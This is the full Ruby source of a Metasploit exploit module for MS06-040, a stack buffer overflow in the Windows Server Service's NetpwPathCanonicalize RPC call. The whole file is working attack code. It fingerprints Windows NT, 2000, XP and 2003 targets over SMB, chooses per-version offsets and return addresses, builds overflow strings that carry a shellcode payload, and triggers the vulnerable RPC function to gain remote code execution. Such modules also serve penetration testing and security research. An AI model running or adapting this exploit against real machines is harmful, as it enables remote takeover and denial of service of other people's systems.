Microsoft Server Service – NetpwPathCanonicalize Overflow (MS06-040) (Metasploit)
## # $Id: ms06_040_netapi.rb 11762 2011-02-17 03:56:15Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Server Service NetpwPathCanonicalize Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that other RPC calls could be used to exploit this service. This exploit will result in a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt will likely result in a complete reboot on Windows 2000 and the termination of all SMB-related services on Windows XP. The default target for this exploit should succeed on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 11762 $', 'References' => [ [ 'CVE', '2006-3439' ], [ 'OSVDB', '27845' ], [ 'BID', '19409' ], [ 'MSB', 'MS06-040' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { # Technically we can use more space than this, but by limiting it # to 370 bytes we can use the same request for all Windows SPs. 'Space' => 370, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'DefaultTarget' => 0, 'Targets' => [ [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ], [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', { 'Offset' => 1000, 'Ret' => 0x00020804 } ], [ '(wcscpy) Windows XP SP0/SP1', { 'Offset' => 612, 'Ret' => 0x00020804 } ], [ '(stack) Windows XP SP1 English', { 'OffsetA' => 656, 'OffsetB' => 680, 'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll } ], [ '(stack) Windows XP SP1 Italian', { 'OffsetA' => 656, 'OffsetB' => 680, 'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll } ], [ '(wcscpy) Windows 2003 SP0', { 'Offset' => 612, 'Ret' => 0x00020804 } ], ], 'DisclosureDate' => 'Aug 8 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']), ], self.class) end def exploit connect() smb_login() mytarget = target if (not target) or (target.name =~ /Automatic/) case smb_peer_os() when 'Windows 5.0' print_status("Detected a Windows 2000 target") mytarget = targets[1] when 'Windows NT 4.0' print_status("Detected a Windows NT 4.0 target") mytarget = targets[1] when 'Windows 5.1' begin smb_create("\\SRVSVC") print_status("Detected a Windows XP SP0/SP1 target") rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e if (e.error_code == 0xc0000022) print_status("Windows XP SP2 is not exploitable") return end print_status("Detected a Windows XP target (unknown patch level)") end mytarget = targets[2] when /Windows Server 2003 (\d+)$/ print_status("Detected a Windows 2003 SP0 target") mytarget = targets[5] when /Windows Server 2003 (\d+) Service Pack (\d+)/ print_status("Windows 2003 SP#{$2} is not exploitable") return when /Samba/ print_status("Samba is not vulnerable") return else print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...") return end end # Specific fixups for Windows NT case smb_peer_os() when 'Windows NT 4.0' print_status("Adjusting the SMB/DCERPC parameters for Windows NT") datastore['SMB::pipe_write_min_size'] = 2048 datastore['SMB::pipe_write_max_size'] = 4096 end handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # # /* Function 0x1f at 0x767e912c */ # long function_1f ( # [in] [unique] [string] wchar_t * arg_00, # [in] [string] wchar_t * arg_01, # [out] [size_is(arg_03)] char * arg_02, # [in] [range(0, 64000)] long arg_03, # [in] [string] wchar_t * arg_04, # [in,out] long * arg_05, # [in] long arg_06 # ); # print_status("Building the stub data...") stub = '' case mytarget.name # This covers NT 4.0 as well when /wcscpy.*Windows 2000/ code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(250)+1) + NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") + NDR.long(rand(250)+1) + NDR.long(0) when /wcscpy.*Windows XP/ path = # Payload goes first payload.encoded + # Padding rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) + # Land 6 bytes in to bypass garbage (XP SP0) [ mytarget.ret + 6 ].pack('V') + # Padding rand_text_alphanumeric(8) + # Address to write our shellcode (XP SP0) [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(32) + # Jump straight to shellcode (XP SP1) [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(8) + # Address to write our shellcode (XP SP1) [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(32) + # Terminate the path "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0)+1) + NDR.UnicodeConformantVaryingString('') + NDR.long(rand(0xf0)+1) + NDR.long(0) when /stack/ buff = rand_text_alphanumeric(800) buff[0, payload.encoded.length] = payload.encoded buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V') buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V') path = "\\\x00\\\x00" + buff + "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0)+1) + NDR.UnicodeConformantVaryingString('') + NDR.long(rand(0xf0)+1) + NDR.long(0) when /wcscpy.*Windows 2003/ path = # Payload goes first payload.encoded + # Padding rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) + # Padding rand_text_alphanumeric(32) + # The cookie is constant, # noticed by Nicolas Pouvesle in Misc #28 "\x4e\xe6\x40\xbb" + # Padding rand_text_alphanumeric(4) + # Jump straight to shellcode [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(8) + # Address to write our shellcode [ mytarget.ret ].pack('V') + # Padding rand_text_alphanumeric(40) + # Terminate the path "\x00\x00" stub = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR.long(rand(0xf0)+1) + NDR.UnicodeConformantVaryingString('') + NDR.long(rand(0xf0)+1) + NDR.long(0) end print_status("Calling the vulnerable function...") begin dcerpc.call(0x1f, stub, false) dcerpc.call(0x1f, stub, false) rescue Rex::Proto::DCERPC::Exceptions::NoResponse rescue => e if e.to_s !~ /STATUS_PIPE_DISCONNECTED/ raise e end end # Cleanup handler disconnect end end |